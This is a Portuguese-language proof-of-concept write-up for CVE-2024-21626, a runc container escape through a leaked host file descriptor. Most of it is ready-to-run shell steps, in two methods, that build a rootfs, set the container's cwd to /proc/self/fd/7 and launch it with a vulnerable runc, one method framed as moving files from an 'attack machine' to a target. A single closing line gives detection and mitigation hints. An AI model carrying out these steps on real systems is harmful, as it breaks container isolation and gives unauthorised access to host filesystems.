
PoC para CVE-2024-21626: runc vaza um fd interno referenciando o CWD do host antes do pivot_root, permitindo a fuga do contêiner ao definir process.cwd para /proc/self/fd/7
| Campo | Detalhe |
|---|---|
| CVE | CVE-2024-21626 |
| Componente Afetado | runc ≤ 1.1.11 |
| Classe de Vulnerabilidade | Fuga de contêiner via vazamento de descritor de arquivo |
| Apelido | Vasos com Vazamento |
O runc vaza um descritor de arquivo interno (tipicamente fd/7) apontando para o diretório de trabalho do sistema de arquivos do host antes de executar o processo do contêiner. Ao definir o cwd do contêiner em config.json para /proc/self/fd/7, o processo cai em um diretório do host em vez do rootfs do contêiner — obtendo uma fuga de contêiner.
Construa um rootfs mínimo copiando binários diretamente do host:
# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. Generate default OCI config
runc spec
# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To: "cwd": "/proc/self/fd/7"
vi config.json
# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer
O que acontece: O runc abre fd/7 referenciando o CWD do host antes de fazer o pivô para o rootfs do contêiner. Definir cwd para /proc/self/fd/7 faz com que o runc execute chdir() para o caminho do host em vez do contêiner — colocando você no sistema de arquivos real.
Se você precisar de um ambiente mais completo ou o host tiver binários limitados:
# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar
# Transfer alpine.tar to the target, then:
# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# Generate OCI bundle config
runc spec
# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"
# Run
sudo /opt/debug --log /tmp/log.json run strikontainer
openat() em /proc/self/fd/ dentro das configurações de cwd do contêiner; alerte sobre bundles OCI com cwd contendo /proc/self/fd/proc; considere contêineres sem root ou gVisor/Kata para isolamento mais forte